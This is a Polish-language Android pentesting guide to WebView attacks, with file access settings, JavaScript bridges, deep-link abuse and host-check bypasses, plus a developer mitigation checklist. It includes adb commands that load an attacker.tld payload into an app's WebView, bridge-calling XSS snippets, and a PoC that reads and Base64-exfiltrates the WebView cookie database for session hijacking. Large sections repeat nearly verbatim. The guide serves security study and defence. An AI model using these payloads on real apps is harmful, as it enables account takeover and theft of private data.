Ataki WebView

Reading time: 16 minutes

Przewodnik po konfiguracjach WebView i bezpieczeństwie

Przegląd podatności WebView

Kluczowym aspektem tworzenia aplikacji Android jest poprawne zarządzanie WebView. Ten przewodnik omawia istotne konfiguracje i praktyki bezpieczeństwa, które zmniejszają ryzyko związane z używaniem WebView.

Dostęp do plików w WebView

Domyślnie WebView umożliwiają dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje posiadające uprawnienie android.permission.READ_EXTERNAL_STORAGE mogą odczytywać pliki z pamięci zewnętrznej korzystając ze schematu URL (file://path/to/file).

Funkcje przestarzałe: Universal Access From File URLs oraz File Access From File URLs

• Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z URL-ów file, stwarzając istotne ryzyko bezpieczeństwa z powodu potencjalnych XSS. Domyślne ustawienie jest wyłączone (false) dla aplikacji targetujących Android Jelly Bean i nowsze.
• Aby sprawdzić to ustawienie, użyj getAllowUniversalAccessFromFileURLs().
• Aby zmodyfikować to ustawienie, użyj setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL-i ze schematem file. Podobnie jak Universal Access, jej domyślne ustawienie jest wyłączone dla zwiększenia bezpieczeństwa.
• Użyj getAllowFileAccessFromFileURLs() aby sprawdzić i setAllowFileAccessFromFileURLs(boolean) aby ustawić.

Bezpieczne ładowanie plików

Aby wyłączyć dostęp do systemu plików, zachowując jednoczesny dostęp do assets i resources, używa się metody setAllowFileAccess(). Dla Android R i nowszych domyślne ustawienie to false.

• Sprawdź za pomocą getAllowFileAccess().
• Włącz lub wyłącz za pomocą setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader to nowoczesne podejście do ładowania lokalnych plików. Używa ona adresów http(s) do dostępu do lokalnych assets i resources, zgodnych z polityką Same-Origin, co ułatwia zarządzanie CORS.

loadUrl

To powszechna funkcja używana do ładowania dowolnych adresów URL w WebView:

webview.loadUrl("<url here>")

Oczywiście, potencjalny atakujący nie powinien nigdy móc kontrolować adresu URL, który aplikacja zamierza wczytać.

JavaScript i obsługa Intent Scheme

• JavaScript: Domyślnie wyłączony w WebViews, można go włączyć przez setJavaScriptEnabled(). Należy zachować ostrożność — włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa.
• Intent Scheme: WebViews mogą obsługiwać schemat intent, co może prowadzić do exploits, jeśli nie jest właściwie zarządzane. Przykładowa luka polegała na ujawnionym parametrze WebView "support_url", który mógł zostać wykorzystany do przeprowadzenia ataków cross-site scripting (XSS).

Przykład eksploatacji przy użyciu adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Mostek JavaScript

Android udostępnia funkcję, która pozwala JavaScript w WebView wywoływać natywne funkcje aplikacji Android. Odbywa się to przy użyciu metody addJavascriptInterface, która łączy JavaScript z natywnymi funkcjonalnościami Androida, określaną jako WebView JavaScript bridge. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom wewnątrz WebView uzyskać dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawniane są poufne informacje.

• Należy zachować szczególną ostrożność dla aplikacji kierowanych na Androida w wersjach niższych niż 4.2 z powodu podatności umożliwiającej zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystującej reflection.

Implementacja mostka JavaScript

• Interfejsy JavaScript mogą komunikować się z kodem natywnym, jak pokazano w przykładach, gdzie metoda klasy jest udostępniona JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge jest włączany przez dodanie interfejsu do WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie udostępnionych metod Java:

<script>
alert(javascriptBridge.getSecret())
</script>

• Aby zmniejszyć ryzyko, restrict JavaScript bridge usage do kodu dostarczonego z APK i zapobiegaj ładowaniu JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.

Reflection-based Remote Code Execution (RCE)

• Udokumentowana metoda pozwala osiągnąć RCE poprzez reflection przez wykonanie konkretnego payloadu. Jednak adnotacja @JavascriptInterface zapobiega nieautoryzowanemu dostępowi do metod, ograniczając powierzchnię ataku.

Remote Debugging

• Remote debugging jest możliwe z użyciem Chrome Developer Tools, umożliwiając interakcję i dowolne wykonywanie JavaScript w zawartości WebView.

Enabling Remote Debugging

• Remote debugging może być włączone dla wszystkich WebViews w obrębie aplikacji przez:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Aby warunkowo włączyć debugowanie w zależności od stanu debuggable aplikacji:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Eksfiltracja dowolnych plików

• Pokazuje eksfiltrację dowolnych plików przy użyciu XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Ataki na WebView

Przewodnik po konfiguracjach WebView i bezpieczeństwie

Przegląd podatności WebView

Kluczowym aspektem tworzenia aplikacji na Androida jest poprawne obsługiwanie WebView. Ten przewodnik wyróżnia kluczowe ustawienia i praktyki bezpieczeństwa, aby ograniczyć ryzyka związane z używaniem WebView.

Dostęp do plików w WebView

Domyślnie WebView zezwalają na dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje posiadające uprawnienie android.permission.READ_EXTERNAL_STORAGE mogą czytać pliki z pamięci zewnętrznej przy użyciu schematu URL pliku (file://path/to/file).

Przestarzałe funkcje: Universal and File Access From URLs

• Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z URL-ów plikowych, co stanowiło poważne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślny stan jest wyłączony (false) dla aplikacji targetujących Android Jelly Bean i nowsze.
• Aby sprawdzić to ustawienie, użyj getAllowUniversalAccessFromFileURLs().
• Aby zmodyfikować to ustawienie, użyj setAllowUniversalAccessFromFileURLs(boolean).
• File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL-i ze schematem file. Podobnie jak universal access, jej domyślny stan jest wyłączony dla zwiększenia bezpieczeństwa.
• Użyj getAllowFileAccessFromFileURLs() aby sprawdzić i setAllowFileAccessFromFileURLs(boolean) aby ustawić.

Bezpieczne ładowanie plików

Aby wyłączyć dostęp do systemu plików przy jednoczesnym zachowaniu dostępu do assets i resources, używa się metody setAllowFileAccess(). W Android R i nowszych domyślne ustawienie to false.

• Sprawdź za pomocą getAllowFileAccess().
• Włącz lub wyłącz za pomocą setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader to nowoczesne podejście do ładowania lokalnych plików. Używa adresów http(s) do dostępu do lokalnych assets i resources, zgodnych z polityką Same-Origin, co ułatwia zarządzanie CORS.

loadUrl

Jest to często używana funkcja do ładowania dowolnych URL-i w WebView:

webview.loadUrl("<url here>")

Oczywiście, potencjalny atakujący nie powinien mieć możliwości kontrolować URL, który aplikacja ma załadować.

Deep-linking into internal WebView (custom scheme → WebView sink)

Wiele aplikacji rejestruje custom schemes/paths, które przekierowują dostarczony przez użytkownika URL do WebView w aplikacji. Jeśli deep link jest exported (VIEW + BROWSABLE), atakujący może zmusić aplikację do renderowania dowolnych zdalnych treści wewnątrz kontekstu WebView.

Typowy wzorzec manifestu (uproszczony):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Typowy przepływ kodu (uproszczony):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Wzorzec ataku i PoC przez adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: the remote page runs in the app WebView context (cookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings).

Hunting tips:

• Przeszukaj zdekompilowane źródła pod kątem getQueryParameter("url"), loadUrl(, WebView sinks oraz handlerów deep-link (onCreate/onNewIntent).
• Przejrzyj manifest pod kątem filtrów VIEW+BROWSABLE oraz niestandardowych schematów/hostów, które mapują do aktywności, które później uruchamiają WebView.
• Sprawdź, czy istnieje wiele ścieżek deep-link (np. ścieżka „zewnętrzna przeglądarka” vs. „wewnętrzny WebView”) i preferuj tę, która renderuje wewnątrz aplikacji.

Włączanie JavaScript przed weryfikacją (błąd kolejności sprawdzeń)

Częstym błędem w utwardzaniu jest włączenie JavaScript lub skonfigurowanie luźniejszych ustawień WebView przed zakończeniem ostatecznej allowlist/weryfikacji docelowego URL. Jeśli weryfikacja jest niespójna między helperami lub odbywa się zbyt późno, atakujący poprzez deep link może doprowadzić do stanu, w którym:

1. obowiązują ustawienia WebView (np. setJavaScriptEnabled(true)), oraz
2. niezaufany URL jest załadowany z włączonym JavaScript.

Wzorzec błędu (pseudokod):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Dlaczego jest to podatne na eksploatację

• Niespójna normalizacja: funkcje pomocnicze dzielą/odtwarzają URL inaczej niż ostateczna weryfikacja, tworząc niedopasowania, które złośliwy URL może wykorzystać.
• Nieprawidłowa kolejność etapów: włączenie JS w kroku 2 stosuje się globalnie do instancji WebView, wpływając na ostateczne ładowanie nawet jeśli późniejsza weryfikacja nie powiedzie się.

Jak testować

• Przygotuj payloady deep-link, które przejdą wczesne kontrole i dotrą do strony konfiguracji WebView.
• Użyj adb do wywołania implicit VIEW intents przekazujących parametr url= kontrolowany przez Ciebie:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Jeśli exploitation się powiedzie, twój payload wykona JavaScript w WebView aplikacji. Stamtąd sprawdź, czy są exposed bridges:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Wskazówki obronne

• Dokonaj kanonizacji raz; waliduj ściśle względem jednego źródła prawdy (scheme/host/path/query).
• Wywołuj setJavaScriptEnabled(true) tylko po przejściu wszystkich kontroli allowlist i tuż przed załadowaniem zaufanej treści.
• Unikaj udostępniania @JavascriptInterface nieufnym originom; preferuj per-origin gating.
• Rozważ oddzielne instancje per-WebView dla zaufanej i niezaufanej treści, z JS domyślnie wyłączonym.

JavaScript and Intent Scheme Handling

• JavaScript: Domyślnie wyłączony w WebViews; można go włączyć przez setJavaScriptEnabled(). Należy zachować ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa.
• Intent Scheme: WebViews mogą obsługiwać schemat intent, co potencjalnie może prowadzić do exploitów, jeśli nie będzie odpowiednio zarządzane. Przykładowa luka dotyczyła ujawnionego parametru WebView "support_url", który mógł zostać wykorzystany do wykonania cross-site scripting (XSS) attacks.

Przykład eksploatacji przy użyciu adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android oferuje funkcję pozwalającą JavaScript w WebView wywoływać natywne funkcje aplikacji Android. Odbywa się to przez użycie metody addJavascriptInterface, która integruje JavaScript z natywnymi funkcjami Androida, określaną jako WebView JavaScript bridge. Należy zachować ostrożność, ponieważ metoda ta pozwala wszystkim stronom w WebView uzyskać dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawnione zostaną wrażliwe informacje.

• Należy zachować szczególną ostrożność w aplikacjach targetujących wersje Android poniżej 4.2 ze względu na podatność umożliwiającą zdalne wykonanie kodu przez złośliwy JavaScript wykorzystujący reflection.

Implementacja JavaScript Bridge

• Interfejsy JavaScript mogą wchodzić w interakcję z natywnym kodem, jak pokazano w przykładach, gdzie metoda klasy jest udostępniona dla JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge jest włączony przez dodanie interfejsu do WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie udostępnionych metod Java:

<script>
alert(javascriptBridge.getSecret())
</script>

• Aby zmniejszyć ryzyko, ogranicz użycie JavaScript bridge do kodu dostarczonego z APK i zapobiegaj ładowaniu JavaScript z zdalnych źródeł. Na starszych urządzeniach ustaw minimalny poziom API na 17.

Nadużywanie dispatcher-style JS bridges (invokeMethod/handlerName)

Powszechnym wzorcem jest pojedyncza eksportowana metoda (np. @JavascriptInterface void invokeMethod(String json)), która deserializuje kontrolowany przez atakującego JSON do ogólnego obiektu i wywołuje odpowiedni handler na podstawie podanej nazwy. Typowy kształt JSON:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Ryzyko: jeśli którykolwiek z zarejestrowanych handlerów wykonuje uprzywilejowane operacje na danych atakującego (np. bezpośrednie odczyty plików), możesz go wywołać ustawiając handlerName odpowiednio. Wyniki zazwyczaj są przesyłane z powrotem do kontekstu strony przez evaluateJavascript oraz mechanizm callback/promise oparty na kluczu callbackId.

Key hunting steps

• Dekompiluj i przeszukaj grepem pod kątem addJavascriptInterface(, aby poznać nazwę obiektu bridge (np. xbridge).
• W Chrome DevTools (chrome://inspect) wpisz nazwę obiektu bridge w Console (np. xbridge), aby wylistować eksponowane pola/metody; szukaj generycznego dispatchera takiego jak invokeMethod.
• Wylistuj handlery, szukając klas implementujących getModuleName() lub map rejestracji.

Dowolny odczyt pliku przez URI → File sinks (Base64 exfiltration)

Jeśli handler przyjmuje URI, wywołuje Uri.parse(req.getUri()).getPath(), tworzy new File(...) i czyta go bez allowlist lub sprawdzeń sandboxa, uzyskujesz dowolny odczyt pliku w sandboxie aplikacji, który omija ustawienia WebView takie jak setAllowFileAccess(false) (odczyt odbywa się w kodzie natywnym, nie przez stos sieciowy WebView).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notatki

• Cookie DB paths vary across devices/providers. Common ones:
• file:///data/data/<pkg>/app_webview/Default/Cookies
• file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
• The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Wskazówki wykrywania

• Obserwuj duże łańcuchy Base64 zwracane przez evaluateJavascript podczas używania aplikacji.
• Przeszukaj (grep) zdekompilowane źródła w poszukiwaniu handlerów, które przyjmują uri/path i konwertują je na new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Równoważna logika (De Morgana):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

To nie jest sprawdzenie pochodzenia. Wiele niezamierzonych hostów spełnia drugi warunek, wpuszczając niezaufane domeny do uprzywilejowanej Activity. Zawsze weryfikuj scheme i host względem ścisłej allowlisty (dokładne dopasowanie lub poprawne sprawdzenie subdomeny z granicami kropki), zamiast trików endsWith.

javascript:// execution primitive via loadUrl

Po uzyskaniu dostępu do uprzywilejowanego WebView, aplikacje czasami wykonują inline JS za pomocą:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

• Wyszukaj (grep) loadUrl("javascript: i evaluateJavascript( w aplikacji.
• Spróbuj osiągnąć te ścieżki kodu po wymuszeniu nawigacji do uprzywilejowanego WebView (np. via a permissive deep link chooser).
• Użyj prymitywu, aby wywołać dispatcher (xbridge.invokeMethod(...)) i dotrzeć do wrażliwych handlerów.

Mitigations (developer checklist)

• Ścisła weryfikacja origin dla uprzywilejowanych Activities: kanonizuj i porównuj scheme/host z eksplicytną allowlistą; unikaj sprawdzeń opartych na endsWith. Rozważ Digital Asset Links, gdy to ma zastosowanie.
• Ogranicz bridge’y tylko do zaufanych stron i ponownie weryfikuj zaufanie przy każdym wywołaniu (per-call authorization).
• Usuń lub mocno zabezpiecz handlery mające dostęp do filesystemu; preferuj content:// z allowlistami/permissions zamiast surowych ścieżek file://.
• Unikaj loadUrl("javascript:") w uprzywilejowanych kontekstach lub zastrzeż jego użycie za silnymi kontrolami.
• Pamiętaj, że setAllowFileAccess(false) nie chroni przed natywnymi odczytami plików poprzez bridge.

JSB enumeration and debugging tips

• Włącz zdalne debugowanie WebView, aby użyć Chrome DevTools Console:
• Po stronie aplikacji (debug builds): WebView.setWebContentsDebuggingEnabled(true)
• Po stronie systemu: moduły takie jak LSPosed lub skrypty Frida mogą wymusić włączenie debugowania nawet w release buildach. Przykładowy snippet Frida dla Cordova WebViews: cordova enable webview debugging
• W DevTools wpisz nazwę obiektu bridge (np. xbridge), aby zobaczyć wystawione człony i sondować dispatcher.

Reflection-based Remote Code Execution (RCE)

• Udokumentowana metoda pozwala osiągnąć RCE przez reflection, wykonując konkretny payload. Jednak adnotacja @JavascriptInterface uniemożliwia nieautoryzowany dostęp do metod, ograniczając powierzchnię ataku.

Remote Debugging

• Remote debugging jest możliwe za pomocą Chrome Developer Tools, umożliwiając interakcję i wykonywanie dowolnego JavaScriptu w treści WebView.

Enabling Remote Debugging

• Remote debugging można włączyć dla wszystkich WebView w aplikacji przez:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Aby warunkowo włączyć debugging w oparciu o ustawienie debuggable aplikacji:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

• Pokazuje exfiltration dowolnych plików przy użyciu XMLHttpRequest:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Źródła

• Review of Android WebViews file access attack vectors
• WheresMyBrowser.Android (demo app)
• Android WebView reference
• Deep Links & WebViews Exploitations – Part II
• Deep Links & WebViews Exploitations – Part I
• Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• Demonstration video
• Account takeover in Android app via JSB – tuxplorer.com
• LSPosed – systemless Xposed framework
• Frida codeshare: Cordova – enable WebView debugging